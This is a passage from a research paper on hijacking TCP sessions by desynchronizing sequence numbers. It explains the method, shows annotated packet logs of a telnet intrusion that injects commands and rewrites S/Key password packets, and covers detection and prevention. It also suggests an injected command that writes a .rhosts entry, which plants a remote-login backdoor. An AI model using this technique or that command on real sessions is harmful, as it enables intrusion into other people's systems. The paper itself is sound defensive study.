FIN: No more data from sender;
Window:
Window size of the sender;
Checksum:
TCP checksum of the header and data;
Urgent Pointer: TCP urgent pointer;
Options:
TCP options;
- SEG_SEQ will refer to the packet sequence number (as
seen in the header).
- SEG_ACK will refer to the packet acknowledgment number.
- SEG_FLAG will refer to the control bits.
On a typical packet sent by the client (no retransmission) SEG_SEQ is set
to CLT_SEQ, SEG_ACK to CLT_ACK.
TCP uses a ``three-way handshake'' to establish a new
connection. If we suppose that the client initiates the connection to
the server and that no data is exchanged, the normal packet exchange
is (C.f. Figure 1):
- The connection on the client side is on the CLOSED state.
The one on the server side is on the LISTEN state.
- The client first sends its initial sequence number and sets the SYN bit:
SEG_SEQ =
SEG_FLAG
CLT_SEQ_0,
= SYN
Its state is now SYN-SENT
- On receipt of this packet the server acknowledges the client sequence
number, sends its own initial sequence number and sets the SYN bit:
SEG_SEQ =
SVR_SEQ_0,
SEQ_ACK =
CLT_SEQ_0+1,
SEG_FLAG
= SYN
and set
SVR_ACK=CLT_SEQ_0+1
Its state is now SYN-RECEIVED
- On receipt of this packet the client acknowledges the server
sequence number:
SEG_SEQ =
CLT_SEQ_0+1,
SEQ_ACK =
SVR_SEQ_0+1
and sets CLT_ACK=SVR_SEQ_0+1
Its state is now ESTABLISHED
- On receipt of this packet the server enters the ESTABLISHED state. We now
have:
CLT_SEQ =
CLT_SEQ_0+1
CLT_ACK =
SVR_SEQ_0+1
SVR_SEQ =
SVR_SEQ_0+1
SVR_ACK =
CLT_SEQ_0+1
Server
Client
LISTEN
CLOSED
<- SYN,
CLT_SEQ_0
LISTEN
SYN-SENT
SYN,
->
SVR_SEQ_0,
CLT_SEQ_0+1
SYN-RECEIVED
ESTABLISHED
SVR_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1
<- ACK,
CLT_SEQ_0 + 1
SVR_SEQ_0+1
ESTABLISHED
SVR_SEQ = SVR_SEQ_0 + 1
SVR_ACK = CLT_SEQ_0 + 1
figure 1: Example of a connection opening
Closing a connection can be done by using the FIN or the RST
flag.
If the RST flag of a packet is set the receiving host enters the
CLOSED state and frees any resource associated with this instance of
the connection. The packet is not acknowledged. Any new incoming
packet for that connection will be dropped.
If the FIN flag of a packet is set the receiving host enters the
CLOSE-WAIT state and starts the process of gracefully closing the
connection. The detail of that procces is beyond the scope of this
document. The reader can refer to [rfc793] for further details.
In the preceding example we specifically avoided any unusual cases
such as out-of-band packets, retransmission, loss of packet, concurrent
opening, etc... These can be ignored in this simple study of the
attack.
When in ESTABLISHED state, a packet is acceptable if its
sequence number falls within the expected segment
[SVR_ACK, SVR_ACK + SVR_WIND]
(for the server) or
[CLT_ACK, CLT_ACK + CLT_WIND]
(for the client). If the sequence number is beyond those limits the
packet is dropped and a acknowledged packet will be sent using the
expected sequence number.
SEG_SEQ =
200,
SVR_ACK =
100,
SVR_WIND
For example if
= 50
Then SEG_SEQ > SVR_ACK + SVR_WIND. The server
forms a ACK packet with
SEG_SEQ =
SVR_SEQ
SEG_ACK =
SVR_ACK
which is what the server expects to see in the packet.
2.2 A desynchronized state
The term ``desynchronized state'' will refer to the connection
when both sides are in the ESTABLISHED state, no data is being sent
(stable state), and
SVR_SEQ != CLT_ACK
CLT_SEQ != SVR_ACK
This state is stable as long as no data is sent. If some data
is sent two cases can occur:
- If CLT_SEQ < SVR_ACK + SVR_WIND and
CLT_SEQ > SVR_ACK the packet is acceptable, the data may be stored
for later use (depending on the implementation) but not sent to the
user since the beginning of the stream (sequence number SVR_ACK) is
missing.
- If CLT_SEQ > SVR_ACK + SVR_WIND or CLT_SEQ <
SVR_ACK the packet is not acceptable and will be dropped. The data is
lost.
In both case data exchange is not possible even if the state
exists.
2.3 The attack
The proposed attack consists of creating a desynchronized state
on both ends of the TCP connection so that the two points cannot exchange data
any longer. A third party host is then used to create acceptable packets
for both ends which mimics the real packets.
Assume that the TCP session is in a desynchronized state and that
the client sends a packet with
SEG_SEQ =
CLT_SEQ
SEG_ACK =
CLT_ACK
Since CLT_SEQ != SVR_ACK the data will not be accepted and the
packet is dropped.
The third party then sends the same packet but
changes the SEG_SEQ and SEG_ACK (and the checksum) such that
SEG_SEQ =
SVR_ACK,
SEG_ACK =
SVR_SEQ
which is acceptable by the server. The data is processed by the server.
If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and
SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party
attacker has to rewrite the TCP packet from the client to the server as:
SEG_SEQ <- SEG_SEQ + CLT_TO_SVR_OFFSET
SEG_ACK <- SEG_ACK - SVR_TO_CLT_OFFSET
Considering that the attacker can listen to any packet exchanged between
the two points and can forge any kind of IP packet (therefore masquerading as
either the client or the server) then everything acts as if the connection
goes through the attacker machine. This one can add or remove any data to
the stream. For instance if the connection is a remote login using telnet
the attacker can include any command on behalf of the user
("echo merit.edu lpj > ~/.rhosts" is an example of such a command)
and filter out any unwanted echo so that the user will not
be aware of the intruder.
Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET
have to change. The new values are let as an exercise for the
reader. [One can turn off
the echo in the telnet connection in order to avoid the burden of filtering
the output. The test we did showed up a bug in the current telnet
implementation (or maybe in the telnet protocol itself). If a TCP packet
contains both
IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with
IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge
IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.]
2.4 ``TCP Ack storm''
A flaw of the attack is the generation of a lot of TCP ACK
packets. When receiving an unacceptable packet the host acknowledges it
by sending the expected sequence number (As the Acknolegement number.
C.f. introduction about TCP)
and using its own sequence number. This packet is itself unacceptable and
will generate an acknowledgement packet which in turn will generate
an acknowledgement packet etc... creating a supposedly endless loop for
every data packet sent.
Since these packets do not carry data they are not retransmitted
if the packet is lost. This means that if one of the packets
in the loop is dropped then the loop ends. Fortunately (or
unfortunately?) TCP uses IP on an unreliable network layer with a non
null packet loss rate, making an end to the loops. Moreover the more
packets the network drops, the shorter is the Ack storm (the loop). We
also notice that these loops are self regulating: the more loops we
create the more traffic we get, the more congestion and packet drops we
experience and the more loops are killed.
The loop is created each time the client or the server sends data.
If no data is sent no loop appears. If data is sent and no attacker is there
to acknowledge the data then the data will be retransmitted, a storm
will be created for each retransmission, and eventually the connection
will be dropped since no ACK of the data is sent. If the attacker acknowledges
the data then only one storm is produced (in practice the attacker often
missed the data packet due to the load on the network, and acknowledge the
first of subsequent retransmission).
The attack uses the second type of packet described in
Section 2.2. The first case in which the data is stored by
the receiver for later processing has not been tested. It has the
advantage of not generating the ACK storm but on the other hand it may be
dangerous if the data is actually processed. It is also difficult to
use with small window connections.
3. Setup of the session
This paper presents two methods for desynchronizing a TCP connection.
Others can be imagined but will not be described here. We suppose that the
attacker can listen to every packet sent between the two end points.
3.1 Early desynchronization
This method consists of breaking the connection in its early setup stage
on the server side and creating a new one with different sequence number.
Here is the process (Figure 2 summarizes this process)
- The attacker listens for a SYN/ACK packet from the server to
the client (stage 2 in the connection set up).
- On detection of that packet the attacker sends the server
a RST packet and then a SYN packet with exactly the same parameters
(TCP port) but a different sequence number (referred to as ATK_ACK_0 in
the rest of the paper).
- The server will close the first connection when it
receives the RST packet and then reopens a new one on the same port but
with a different sequence number (SVR_SEQ_0') on receipt of the SYN
packet. It sends back a SYN/ACK packet to the client.
- On detection of that packet the attacker sends the server a
ACK packet. The server switches to the ESTABLISHED state.
- The client has already switched to the ESTABLISHED state when it
receives the first SYN/ACK packet from the server.
Server
Client
LISTEN
CLOSED
<- SYN,
CLT_SEQ_0
SYN-RECEIVED
SYN-SENT
SYN,
->
SVR_SEQ_0,
CLT_SEQ_0+1
ESTABLISHED
SVR_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1
<= RST,
CLT_SEQ_0 + 1
CLOSED
<= SYN,
ATK_SEQ_0
SYN,
SVR_SEQ_0',
ATK_SEQ_0 + 1
SYN-RECEIVED
->
<= SYN,
ATK_SEQ_0 + 1,
SVR_SEQ_0' + 1
ESTABLISHED
SVR_SEQ = SVR_SEQ_0' + 1
SVR_ACK = ATK_SEQ_0 + 1
Figure 2: A attack scheme. The attacker's packets are marked with <=
This diagram does not show the unacceptable acknowledgement packet
exchanges. Both ends are in the desynchronized ESTABLISHED state now.
SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0'
is fixed by the server.
CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0
is fixed by the attacker.
The success of the attack relies on the correct value being chosen
for CLT_TO_SVR_OFFSET. Wrong value may make the
client's packet acceptable and can produce unwanted effects.
3.2 Null data desynchronization
This method consists for the attacker in sending a large amount
of data to the server and to the client. The data sent shouldn't affect
nor be visible to the client or sever, but will put both end of the TCP
session in the desynchronized state.
The following scheme can be used with a telnet session:
- The attacker watchs the session without interfering.
- When appropriate the attacker sends a large amount of ``null
data'' to the server. ``Null data'' refers to data that will not affect
anything on the server side besides changing the TCP acknowledgment number.
[For instance with a telnet session the attacker sends ATK_SVR_OFFSET
bytes consisting of the sequence IAC NOP IAC NOP... Every two
bytes IAC NOP will be interpreted by the telnet daemon, removed from
the stream of data and nothing will be affected. [The telnet
protocol [telnet] defines the NOP command as ``No Operation''. In
other words, do nothing, just ignore those bytes.] Now the Server has
SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET
which of course is desynchronized.
- The attacker does the same thing with the client.
The method is useful if the session can carry ``null data''. The
time when the attacker sends that data is also very difficult to determine
and may cause some unpredictable side effects.
4. Examples
The following logs are provided by running a hacked version of
tcpdump [tcpdump] on the local ethernet where the client resides.
Comments are preceded by `##'.
The first example is a normal telnet session opening between 35.42.1.56
(the client) and 198.108.3.13 (the server).
## The client sends a SYN packet, 1496960000 is its initial sequence nu
mber.
11:07:14.934093 35.42.1.56.1374 > 198.108.3.13.23: S 1496960000:1496960000(0) w
in 4096
## The server answers with its initial sequence number and the SYN flag
.
11:07:14.936345 198.108.3.13.23 > 35.42.1.56.1374: S 1402880000:1402880000(0) a
ck 1496960001 win 4096
## The client acknowledges the SYN packet.
11:07:14.937068 35.42.1.56.1374 > 198.108.3.13.23: . 1496960001:1496960001(0) a
ck 1402880001 win 4096
## Now the two end points are in the ESTABLISHED state.
## The client sends 6 bytes of data.
11:07:15.021817 35.42.1.56.1374 > 198.108.3.13.23: P 1496960001:1496960007(6)
ack 1402880001 win 4096 255 253 /C 255 251 /X
[...
## The rest of the log is the graceful closing of the connection
11:07:18.111596 198.108.3.13.23 > 35.42.1.56.1374: F 1402880059:1402880059(0) a
ck 1496960025 win 4096
11:07:18.112304 35.42.1.56.1374 > 198.108.3.13.23: . 1496960025:1496960025(0) a
ck 1402880060 win 4096
11:07:18.130610 35.42.1.56.1374 > 198.108.3.13.23: F 1496960025:1496960025(0) a
ck 1402880060 win 4096
11:07:18.132935 198.108.3.13.23 > 35.42.1.56.1374: . 1402880060:1402880060(0) a
ck 1496960026 win 4095
The next example is the same session with an intrusion by the
attacker. The desynchronized state is created in the early stage of
the session (subsection 3.1). The attacker will add the
command 'ls;' to the stream of data.
The user uses skey to
identify himself to the server. From the user's point of view the
session looks like this:
<lpj@homefries: 1> telnet 198.108.3.13
Trying 198.108.3.13 ...
Connected to 198.108.3.13.
Escape character is '^'.
SunOS UNIX (_host)
login: lpj
s/key 70 cn33287
(s/key required)
Password:
Last login: Wed Nov 30 11:28:21 from homefries.merit.edu
SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994
(lpj@_host: 1) pwd
Mail/
mbox
src/
elm*
resize*
traceroute*
/usr/users/lpj
(lpj@_host: 2) history
1 13:18
ls ; pwd
2 13:18
history
(lpj@_host: 3) logoutConnection closed by foreign host.
<lpj@homefries: 2>
The user types only one command 'pwd' and then asks for the history of
the session. The history shows that a ls' has also being issued.
The ls command produces an output which has not been filtered.
The following log shows the TCP packet exchanges between the client and
the server. Unfortunately some packets are missing from this log because
they have been dropped by the sniffer's ethernet interface driver. One
must see that log like a snapshot of a few instants of the exchange
more than the full transaction log. The attacker's window size has been
set to uncommon values (400, 500, 1000) in order to make its packets
more easily traceable. The attacker is on 35.42.1, three hops away from the
server, on the path from the client to the server. The names and addresses
of the hosts have been changed for security reasons.
## The client sends a SYN packet, 896896000 is its initial sequence num
ber.
11:25:38.946119 35.42.1.146.1098 > 198.108.3.13.23: S 896896000:896896000(0) wi
n 4096
## The server answers with its initial sequence number (1544576000) and
the SYN flag.
11:25:38.948408 198.108.3.13.23 > 35.42.1.146.1098: S 1544576000:1544576000(0)
ack 896896001 win 4096
## The client acknowledges the SYN packet. It is in the ESTABLISHED sta
te now.
11:25:38.948705 35.42.1.146.1098 > 198.108.3.13.23: . 896896001:896896001(0) ac
k 1544576001 win 4096
## The client sends some data
11:25:38.962069 35.42.1.146.1098 > 198.108.3.13.23: P 896896001:896896007(6)
ack 1544576001 win 4096 255 253 /C 255 251 /X
## The attacker resets the connection on the server side
11:25:39.015717 35.42.1.146.1098 > 198.108.3.13.23: R 896896101:896896101(0) wi
n 0
## The attacker reopens the connection with an initial sequence number
of 601928704
11:25:39.019402 35.42.1.146.1098 > 198.108.3.13.23: S 601928704:601928704(0) wi
n 500
## The server answers with a new initial sequence number (1544640000) a
nd the SYN flag.
11:25:39.022078 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## Since the last packet is unacceptable for the client, it acknowledge
s it
## with the expected sequence number (1544576001)
11:25:39.022313 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
## Retransmission to the SYN packet triggered by the unacceptable last
packet
11:25:39.023780 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## The ACK storm loop
11:25:39.024009 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.025713 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.026022 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
[...
11:25:39.118789 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.119102 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.120812 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.121056 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
## Eventually the attacker acknowledges the server SYN packet with the
attacker's new
## sequence number (601928705). The data in this packet is the one prev
iously
## sent by the client but never received.
11:25:39.122371 35.42.1.146.1098 > 198.108.3.13.23: . 601928705:601928711(6)
ack 1544640001 win 400 255 253 /C 255 251 /X
## Some ACK storm
11:25:39.124254 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
11:25:39.124631 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.126217 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
11:25:39.126632 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
[...
11:25:41.261885 35.42.1.146.1098 > 198.108.3.13.23: . 601928728:601928728(0) ac
k 1544640056 win 1000
## A retransmission by the client
11:25:41.422727 35.42.1.146.1098 > 198.108.3.13.23: P 896896018:896896024(6)
ack 1544576056 win 4096 255 253 /A 255 252 /A
11:25:41.424108 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
[...
11:25:42.323262 35.42.1.146.1098 > 198.108.3.13.23: . 896896025:896896025(0) ac
k 1544576059 win 4096
11:25:42.324609 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
## The user ID second character.
11:25:42.325019 35.42.1.146.1098 > 198.108.3.13.23: P 896896025:896896026(1)
ack 1544576059 win 4096 p
11:25:42.326313 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
[...
11:25:43.241191 35.42.1.146.1098 > 198.108.3.13.23: . 601928731:601928731(0) ac
k 1544640060 win 1000
## Retransmission
11:25:43.261287 198.108.3.13.23 > 35.42.1.146.1098: P 1544640059:1544640061(2)
ack 601928730 win 4096 l p
11:25:43.261598 35.42.1.146.1098 > 198.108.3.13.23: . 896896027:896896027(0) ac
k 1544576061 win 4096
[...
11:25:43.294192 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
11:25:43.922438 35.42.1.146.1098 > 198.108.3.13.23: P 896896026:896896029(3)
ack 1544576061 win 4096 j /M /@
11:25:43.923964 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
[...
11:25:43.957528 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
## The attacker rewrites the packet sent by the server containing the s
key challenge
11:25:44.495629 198.108.3.13.23 > 35.42.1.146.1098: P 1544576064:1544576082(18)
ack 896896029 win 1000 s / k e y
7 0
c n 3 3 2 8 7 /M /J
11:25:44.502533 198.108.3.13.23 > 35.42.1.146.1098: P 1544576082:1544576109(27)
ack 896896029 win 1000 ( s / k e y
r e q u i r e d ) /M /J P a s s w
o r d :
11:25:44.522500 35.42.1.146.1098 > 198.108.3.13.23: . 896896029:896896029(0) ac
k 1544576109 win 4096
[...
11:25:44.558320 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Beginning of the skey password sent by the user (client)
11:25:57.356323 35.42.1.146.1098 > 198.108.3.13.23: P 896896029:896896030(1)
ack 1544576109 win 4096 T
11:25:57.358220 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
[...
11:25:57.412103 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Echo of the beginning of the skey password sent by the server
11:25:57.412456 35.42.1.146.1098 > 198.108.3.13.23: P 601928733:601928734(1)
ack 1544640109 win 1000 T
11:25:57.412681 35.42.1.146.1098 > 198.108.3.13.23: . 896896030:896896030(0) ac
k 1544576109 win 4096
[...
11:25:57.800953 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928734 win 4096
## The attacker rewrites the skey password packet
11:25:57.801254 35.42.1.146.1098 > 198.108.3.13.23: P 601928734:601928762(28)
ack 1544640109 win 1000 A U T
S H I M
L O F T
V A S E
M O O
R
I D /M /@
11:25:57.801486 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
[...
11:25:58.358275 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
11:25:58.360109 198.108.3.13.23 > 35.42.1.146.1098: P 1544640263:1544640278(15)
ack 601928762 win 4096 ( l p j @ _ r a d b :
1 )
11:25:58.360418 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
[...
11:26:00.919976 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576278 win 4096
## The 'p' of the 'pwd' command typed by the user.
11:26:01.637187 35.42.1.146.1098 > 198.108.3.13.23: P 896896058:896896059(1)
ack 1544576278 win 4096 p
11:26:01.638832 198.108.3.13.23 > 35.42.1.146.1098: . 1544640278:1544640278(0)
ack 601928762 win 4096
[...
11:26:03.183200 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:03.921272 35.42.1.146.1098 > 198.108.3.13.23: P 896896060:896896063(3)
ack 1544576280 win 4096 d /M /@
11:26:03.922886 198.108.3.13.23 > 35.42.1.146.1098: . 1544640283:1544640283(0)
ack 601928767 win 4096
[...
11:26:04.339186 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.340635 198.108.3.13.23 > 35.42.1.146.1098: P 1544640288:1544640307(19)
ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J
11:26:04.342872 198.108.3.13.23 > 35.42.1.146.1098: P 1544640307:1544640335(28)
ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o
u t e * /M
/J
11:26:04.345480 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.346791 198.108.3.13.23 > 35.42.1.146.1098: P 1544640335:1544640351(16)
ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J
11:26:04.347094 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.348402 198.108.3.13.23 > 35.42.1.146.1098: P 1544640351:1544640366(15)
ack 601928770 win 4096 ( l p j @ _ r a d b :
2 )
11:26:04.378571 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
[...
11:26:09.791045 35.42.1.146.1098 > 198.108.3.13.23: P 601928773:601928775(2)
ack 1544640369 win 1000 t o
11:26:09.794653 198.108.3.13.23 > 35.42.1.146.1098: P 1544640369:1544640371(2)
ack 601928775 win 4096 t o
11:26:09.794885 35.42.1.146.1098 > 198.108.3.13.23: . 896896068:896896068(0) ac
k 1544576366 win 4096
[...
11:26:12.420397 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
11:26:12.422242 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
[...
11:26:12.440765 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The 'ry' of the 'history' command sent by the client
11:26:16.420287 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
11:26:16.421801 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
[...
11:26:16.483943 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The same packet rewritten by the attacker.
11:26:16.505773 35.42.1.146.1098 > 198.108.3.13.23: P 601928775:601928779(4)
ack 1544640371 win 1000 r y /M /@
## answer to the history command sent by the server. We can notice the
'ls ;' inclusion
## before the 'pwd'
11:26:16.514225 198.108.3.13.23 > 35.42.1.146.1098: P 1544640371:1544640437(66)
ack 601928779 win 4096 r y /M /@ /M /J
;
1 /I 1 1 : 2 8 /I l s
p w
d /M /J
2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168
/@ /G
/@ /@ /@ /X /@ /H 137 148 /@ /@
11:26:16.514465 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
[...
11:26:16.575344 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The same packet rewritten by the attacker.
11:26:16.577183 198.108.3.13.23 > 35.42.1.146.1098: P 1544576368:1544576434(66)
ack 896896072 win 1000 r y /M /@ /M /J
;
1 /I 1 1 : 2 8 /I l s
p w
d /M /J
2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H /
@ /@ /@
/X /@ /H 137 148 /@ /@
11:26:16.577490 198.108.3.13.23 > 35.42.1.146.1098: . 1544640437:1544640437(0)
ack 601928779 win 4096
[...
## The user log out.
11:26:20.236907 35.42.1.146.1098 > 198.108.3.13.23: P 601928781:601928782(1) ac
k 1544640437 win 1000 g
11:26:20.247288 198.108.3.13.23 > 35.42.1.146.1098: . 1544576438:1544576438(0)
ack 896896074 win 1000
11:26:20.253500 198.108.3.13.23 > 35.42.1.146.1098: P 1544576435:1544576436(1)
ack 896896074 win 1000 o
11:26:20.287513 198.108.3.13.23 > 35.42.1.146.1098: P 1544640439:1544640440(1)
ack 601928782 win 4096 g
11:26:20.287942 35.42.1.146.1098 > 198.108.3.13.23: P 896896075:896896076(1) ac
k 1544576436 win 4096 o
11:26:20.289312 198.108.3.13.23 > 35.42.1.146.1098: . 1544640440:1544640440(0)
ack 601928782 win 4096
11:26:20.289620 35.42.1.146.1098 > 198.108.3.13.23: . 896896076:896896076(0) ac
k 1544576436 win 4096
Almost all of the packets with the ACK flag set but with no
data are acknowledgement of unacceptable packets. A lot of
retransmission occurs due to the load on the network and on the
attacker host created by the ACK storm. The real log (including all ACK
packets) is about 3000 lines long whereas the one shown here has been
stripped to about 100 lines. A lot of packets have also been lost and do
not show up in this log. The data collected during the test shows that
one real packet sent can generate between 10 and 300 empty Ack
packets. Those numbers are of course highly variable.
5. Detection and Side Effects
Several flaws of that attack can be used to detect it. Three will
be described here but one can imagine some other ways to detect the intrusion.
- Desynchronized state detection.
By comparing the sequence
numbers of both ends of the connection the user can tell if the
connection is in the desynchronized state. This method is feasible if
we assume that the sequence numbers can be transmitted through the TCP
stream without being compromised (changed) by the attacker.
Local Ethernet
Transit Ethernet
Total TCP/s
80-100
(60-80)
1400
(87)
Total Ack
25-75
(25-45)
500
(35)
Total Telnet
10-20
(10-25)
140
(10)
Total Telnet Ack
5-10
(45-55)
45
(33)
Table 1: Percentage of ACK packets without the attack.
- Ack storm detection.
Some statistics on the TCP traffic conducted on our local
ethernet segment outside the attack show that the average ratio of ACK
without data packets per total telnet packets is around 45%. On a more
loaded transit ethernet the average is about 33% (C.f Table 1)
The total number of TCP packets as well as the total number of
ACK and telnet packets fluctuate a lot on the local ethernet. The table shows
the limits. The percentage of ACK telnet packets is very stable, around 45%.
This can be explained by the fact that the telnet session is an interactive
session and every character typed by the user must be echoed and acknowledged.
The volume of exchanged data is very small each packet usually contains one
character or one text line.
The data for the transit ethernet is very consistent. Due to the
high load on that segment a few packets may have been dropped by the
collecting host.
When the attack is conducted some of these figures change. The
next table shows the results for two types of session. The data has been
collected on the local ethernet only.
In Table 2 the `Local connection' is a
session with a host at a few IP hops from the client. The Round Trip
Delay (RTD) is approximately 3ms and the actual number of hops is 4.
The 'Remote connection' is a session with a RTD of about 40ms and 9
hops away. In the first case the attack is clearly visible. Even if
it's very fluctuant, the percentage of TCP ACK is near 100%. Almost
all of the traffic is acknowledgement packets.
In the second case the detection of the attack is less obvious.
The data has to be compared with the first column of
Table 1 (local traffic). The percentage of TCP ACK
slightly increases but not significantly. One can explain this result
by the long RTD which decreases the rate of ACK packets sent. The
underlying network is also used to experience between a 5% and 10%
packet loss which helps in breaking the ACK loop.
Local connection
Remote connection
Total Telnet
80-400 (60-85)
30-40 (30-35)
Total Telnet Ack
75-400 (90-99)
20-25 (60-65)
Percentage of ACK packets during an attack.
- Increase of the packet loss and retransmission for that
particular session. Though no data is available to enlighten us on that
behavior the log produced during the attack shows an unusually high
level of packet loss and so retransmission. Therefore this implies a
deterioration of the response time for the user. The packet loss
increase is caused by:
- The extra load of the network due to the ACK storms.
- The packet dropped by the sniffer of the attacker. The drops tend
to increase as the load on the network increases.
- Some unexpected connection reset.
The following behavior has not been fully investigated since the
attacker program developed was to try the validity of the concept more
than making the attack transparent to the client and server. These are
likely to disappear with a more sophisticated attacker program. The user
can experience a connection reset of its session at the early stage of
the connection if the protocol of the attack is not correctly executed.
A loss of the attacker's RST or SYN packets may leave the server side of the
connection in a undefined state (usually CLOSED or SYN-RECEIVED) and
may make the client packets acceptable. About 10% of the attacks performed
were unsuccessful, ending either by a connection close (very visible)
or a non-desynchronized connection (the attacker failed to redirect
the stream).
Some side effects and notes about TCP and the attack.
- TCP implementation.
The desynchronization process described here failed on certain
TCP implementations. According to [rfc793] a RST packet is not
acknowledged and just destroys the TCB. Some TCP implementations do
when in a certain state acknowledge the RST packet by sending back a
RST packet. When the attacker sends the RST packet to the server the
RST is sent back to the client which closes its connection and ends the
session. Other desynchronization mechanisms may be investigated which
do not reset the connection.
- The client and the attacker were always on the same
ethernet segment when performing the test. This makes the attack more
difficult to run because of a high load on that segment. The collision
rate increases and the attacker's sniffer buffer are overflowed by the
traffic.
- One can think of just watching the session and
sending some data to the server, without caring about creating the
desynchronized state and forwarding the TCP packets. Though it will
succeed in corrupting the host that approach is likely to be detected early
by the user. Indeed the TCP session will not be able to exchange data
once the command sent.
6. Prevention
The only ways known by the writer currently available to prevent
such an attack on a telnet session are the encrypted Kerberos scheme
(application layer) or the TCP crypt implementation
[TCPcrypt] (TCP layer).
Encryption of the data flow prevents any
intrusion or modification of the content. Signature of the data can
also be used. [pgp] is an example of an available way to secure
electronic mail transmission.
7. Morris' Attack Reviewed
Morris' attack as described in [morris85] assumes that
the attacker can predict the next initial sequence number used by the server
(noted SVR_SEQ_0 in this document) and that the identification scheme is
based on trusted hosts (which means only certain hosts are allowed
to perform some commands on the server without any other identification
process being needed).
In this attack the cracker initiates the session
by sending a SYN packet to the server using the client (trusted host)
as the source address. The server acknowledge the SYN with a SYN/ACK
packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet
in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets
as long as he can predict SVR_SEQ_0 in order to acknowledge it. This
attack has two main flaws:
- The client whom the attacker masquerades will receive the SYN/ACK packet
from the server and then could generate a RST packet to the server
since in the client's view no session yet exists. Morris supposes that
one can stop the RST generation by either performing the attack when the
client is down or by overflowing the client's TCP queue so the SYN/ACK
packet will be lost.
- The attacker cannot receive data from the server. But he can send
data which is sometime enough to compromise a host.
